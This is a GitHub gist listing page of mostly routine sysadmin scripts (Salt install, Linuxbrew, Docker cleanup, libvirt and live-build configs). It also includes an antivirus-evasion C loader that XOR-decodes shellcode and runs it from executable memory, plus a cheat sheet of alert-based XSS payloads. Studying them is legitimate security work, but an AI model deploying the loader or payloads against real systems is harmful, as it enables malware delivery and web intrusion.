Skip to content

Instantly share code, notes, and snippets.

😀
wiew

kurobeats kurobeats

😀
wiew
Block or report user

Report or block kurobeats

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@kurobeats
kurobeats / salt_windows_install.ps1
Last active Sep 15, 2018 — forked from dariusjs/salt_windows_install
powershell install salt-minion
View salt_windows_install.ps1
$saltversion = "Salt-Minion-2018.3.2-Py3-AMD64-Setup.exe"
$source = "https://repo.saltstack.com/windows/$saltversion"
$destination = "c:\temp\$saltversion"
Set-Location C:\temp
wget $source -OutFile $destination
iex 'c:\temp\Salt-Minion-2018.3.2-Py3-AMD64-Setup.exe /S /master=salt-master /minion-name=$env:computername'
@kurobeats
kurobeats / sane_setup.sh
Last active Jul 20, 2018
a sane way to install homebrew for linux
View sane_setup.sh
#!/bin/bash
git clone https://github.com/Linuxbrew/brew.git ~/.local/share/linuxbrew
PATH="$HOME/.local/share/linuxbrew/bin:$PATH"
export MANPATH="$(brew --prefix)/share/man:$MANPATH"
export INFOPATH="$(brew --prefix)/share/info:$INFOPATH"
test -d ~/.local/share/linuxbrew && PATH="$HOME/.local/share/linuxbrew/bin:$HOME/.local/share/linuxbrew/sbin:$PATH"
test -d ~/.local/share/linuxbrew && PATH="~/.local/share/linuxbrew/bin:~/.local/share/linuxbrew/sbin:$PATH"
@kurobeats
kurobeats / url-info.sh
Created May 19, 2017
whois but pretty
View url-info.sh
###### show Url information
function url-info()
{
doms=$@
if [ $# -eq 0 ]; then
echo -e "No domain given\nTry $0 domain.com domain2.org anyotherdomain.net"
fi
for i in $doms; do
_ip=$(host $i|grep 'has address'|awk {'print $4'})
if [ "$_ip" == "" ]; then
@kurobeats
kurobeats / docker-destroy-all.sh
Created Apr 9, 2017 — forked from dguardia/docker-destroy-all.sh
Destroy all Docker Containers and Images
View docker-destroy-all.sh
#!/bin/bash
# Stop all containers
docker stop $(docker ps -a -q)
# Delete all containers
docker rm $(docker ps -a -q)
# Delete all images BY FORCE
docker rmi -f $(docker images -q)
View av_evasion.c
#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {
char b[] = {/* your XORd with key of 'x' shellcode goes here i.e. 0x4C,0x4F, 0x4C */};
char c[sizeof b];
for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}
void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, c, sizeof c);
((void(*)())exec)();
}
@kurobeats
kurobeats / xss_vectors.txt
Last active Oct 11, 2019
XSS Vectors Cheat Sheet
View xss_vectors.txt
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@kurobeats
kurobeats / stretch.sh
Created Mar 9, 2017 — forked from sickel/jessie.sh
debian 9 live build
View stretch.sh
#!/bin/bash
# WARNING: to use "--binary-images hdd", see this bug: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=773833
# WARNING: to get persistence encryption working, apply this fix: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=767195
# Italian locale & keyboard, default boot with luks encrypted persistence
# lb config --distribution jessie --debian-installer live --binary-images iso-hybrid --archive-areas "main contrib non-free" --bootappend-live "boot=live persistence persistence-encryption=luks locales=it_IT.UTF-8 keyboard-layouts=it username=utente hostname=D8"
# lb config --distribution jessie --debian-installer live --binary-images iso-hybrid --archive-areas "main contrib non-free" --bootappend-live "boot=live persistence persistence-encryption=luks keyboard-layouts=it username=user hostname=D8"
# Default locale & norwegian keyboard, pxe boot
View macOS.xml
<!--
WARNING: THIS IS AN AUTO-GENERATED FILE. CHANGES TO IT ARE LIKELY TO BE
OVERWRITTEN AND LOST. Changes to this xml configuration should be made using:
virsh edit macOS
or other application using the libvirt API.
-->
<domain type='kvm' xmlns:qemu='http://libvirt.org/schemas/domain/qemu/1.0'>
<name>macOS</name>
<uuid>6e79e797-26e8-4cc2-8a37-53695cc5b3b8</uuid>
@kurobeats
kurobeats / box_getter.sh
Created Nov 1, 2016
Vagrant to libvirt image maker
View box_getter.sh
#!/usr/bin/bash
d_util=wget
distro=debian
release=jessie64
version=8.6.1
working_dir="/tmp"
boxid=`< /dev/urandom tr -dc a-z-0-9 | head -c8; echo`
inseckey="https://raw.githubusercontent.com/mitchellh/vagrant/master/keys/vagrant"
@kurobeats
kurobeats / terminal.sh
Created Oct 17, 2016
Single instance gnome terminal script
View terminal.sh
#!/usr/bin/env bash
# You'll want xdotool, but other than that, you would be good to go.
# Just download and set keyboard shortcut
if [ "$(xdotool search --onlyvisible --class gnome-terminal)" == "$(xdotool getwindowfocus)" ]; then
xdotool windowminimize $(xdotool getwindowfocus)
exit
fi
if ps aux | grep "[g]nome-terminal" > /dev/null
You can’t perform that action at this time.